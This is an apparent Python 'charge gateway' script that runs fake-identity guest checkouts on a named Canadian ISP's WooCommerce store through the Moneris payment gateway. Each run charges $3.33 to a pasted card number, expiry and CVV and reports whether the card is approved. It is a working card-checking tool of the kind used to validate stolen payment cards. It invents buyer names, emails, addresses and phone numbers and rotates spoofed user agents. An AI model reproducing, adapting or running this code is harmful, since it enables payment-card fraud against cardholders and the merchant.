api frame
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Deku
185
comwave_charge.py
Normal file
185
comwave_charge.py
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"""
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Comwave $3.33 Charge Gateway — WooCommerce guest checkout via Moneris Checkout v1.
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Stateless — each call is a fresh session. No login required.
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"""
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import asyncio
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import httpx
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import random
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import time
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import logging
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from fake_useragent import UserAgent
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logger = logging.getLogger("comwave_charge")
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def get(s, start, end):
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try:
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start_index = s.index(start) + len(start)
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end_index = s.index(end, start_index)
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return s[start_index:end_index]
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except ValueError:
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return ""
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MONERIS_URL = "https://gateway.moneris.com/chkt/display"
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SHOP_URL = "https://www.comwave.net/residential"
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PRODUCT_ID = 7422
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RATE_LIMIT_SECONDS = 3
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_wc_rate: dict[int | str, float] = {}
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async def check_card_3(full: str, user_id: int | str = 0) -> str:
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"""
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WooCommerce guest checkout — charges $3.33.
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Returns a result string: "APPROVED ...", "DECLINED ...", or "Error: ...".
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"""
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start = time.time()
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now = time.time()
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last = _wc_rate.get(user_id, 0)
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wait = RATE_LIMIT_SECONDS - (now - last)
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if wait > 0:
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return f"Rate limited — wait {round(wait, 1)}s"
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_wc_rate[user_id] = now
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try:
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cc, mm, yyyy, cvv = full.strip().split("|")
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if len(yyyy) == 2:
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yyyy = f"20{yyyy}"
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except ValueError:
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return "Error: bad format (cc|mm|yyyy|cvv)"
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first_names = ["James", "John", "Robert", "Michael", "William", "David", "Richard", "Joseph"]
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last_names = ["Smith", "Johnson", "Williams", "Brown", "Jones", "Garcia", "Miller", "Davis"]
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first_name = random.choice(first_names)
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last_name = random.choice(last_names)
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email = f"cristini{random.randint(1000, 99999)}@gmail.com"
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expiry = f"{mm}{yyyy[2:]}"
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ua = UserAgent()
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ua_str = ua.random
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hdrs = {"User-Agent": ua_str, "Accept-Language": "en-US,en;q=0.9"}
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async with httpx.AsyncClient(timeout=40, follow_redirects=True) as client:
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try:
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await client.get(SHOP_URL, headers={**hdrs, "Accept": "text/html"})
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nonce_r = await client.get(
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f"{SHOP_URL}/?wc-ajax=get_refreshed_fragments",
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headers={**hdrs, "Accept": "application/json"},
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)
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woo_nonce = ""
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parts = nonce_r.text.split("wc_cart_fragments_params")
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if len(parts) > 1:
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woo_nonce = get(parts[1], '"nonce":"', '"')
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await client.post(
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f"{SHOP_URL}/?wc-ajax=add_to_cart",
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data={"product_id": PRODUCT_ID, "quantity": 1},
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headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded",
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"X-Requested-With": "XMLHttpRequest"},
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)
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co = await client.get(
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f"{SHOP_URL}/checkout/",
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headers={**hdrs, "Accept": "text/html"},
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)
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co_nonce = get(co.text, 'name="woocommerce-process-checkout-nonce" value="', '"')
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if not co_nonce:
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co_nonce = get(co.text, '#woocommerce-process-checkout-nonce"', '"')
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checkout_data = {
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"billing_first_name": first_name,
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"billing_last_name": last_name,
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"billing_address_1": f"{random.randint(100, 999)} Main St",
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"billing_address_2": "",
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"billing_city": "Toronto",
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"billing_state": "ON",
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"billing_postcode": "M5V 2T6",
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"billing_country": "CA",
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"billing_phone": f"416{random.randint(1000000, 9999999)}",
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"billing_email": email,
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"shipping_method[0]": "flat_rate:1",
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"payment_method": "moneris_checkout",
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"woocommerce-process-checkout-nonce": co_nonce,
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"_wp_http_referer": "/residential/checkout/",
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"terms": "on",
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"terms-field": "1",
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}
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cr = await client.post(
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f"{SHOP_URL}/?wc-ajax=checkout",
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data=checkout_data,
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headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded",
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"X-Requested-With": "XMLHttpRequest"},
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)
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cr_json = cr.json()
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ticket = cr_json.get("ticket", "")
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if not ticket:
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msgs = cr_json.get("messages", "")
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if msgs:
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err = get(str(msgs), "<li>", "</li>") or str(msgs)[:120]
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return f"Error: {err}"
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return f"Error: no ticket from WooCommerce"
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mon = httpx.AsyncClient(timeout=30, follow_redirects=True)
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try:
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await mon.get(
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f"{MONERIS_URL}/index.php?tck={ticket}",
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headers={"User-Agent": ua_str, "Accept": "text/html"},
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)
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form_data = {
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"ticket": ticket,
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"action": "validate_transaction",
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"pan": cc,
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"expiry_date": expiry,
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"cvv": cvv,
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"cardholder": f"{first_name} {last_name}",
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"card_data_key": "new",
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"currency_code": "CAD",
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"wallet_details": "{}",
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"gift_details": "{}",
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}
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mon_hdrs = {
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"User-Agent": ua_str,
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"Content-Type": "application/x-www-form-urlencoded",
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"X-Requested-With": "XMLHttpRequest",
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"Referer": f"{MONERIS_URL}/index.php?tck={ticket}",
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}
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rv = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
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if rv.json().get("response", {}).get("success") != "true":
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return "Error: validate failed"
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form_data["action"] = "process_transaction"
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rp = await mon.post(f"{MONERIS_URL}/request.php", data=form_data, headers=mon_hdrs)
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resp = rp.json().get("response", {})
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if resp.get("success") != "true":
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return "Error: process failed"
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result = resp.get("result", "")
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card_type = ""
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last4 = ""
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approval_code = ""
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ref_no = ""
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payments = resp.get("payment", [])
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if payments:
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p = payments[0]
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card_type = p.get("card", "")
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last4 = p.get("pan", "")
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approval_code = p.get("approval_code", "")
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ref_no = p.get("reference_no", "")
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info = f"[{card_type}] | Last4: {last4} | Auth: {approval_code} | Ref: {ref_no}"
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elapsed = round(time.time() - start, 2)
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if result == "a":
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return f"APPROVED {info} - Taken {elapsed}s"
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else:
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return f"DECLINED {info} - Taken {elapsed}s"
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finally:
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await mon.aclose()
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except Exception as e:
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return f"Error: {e}"
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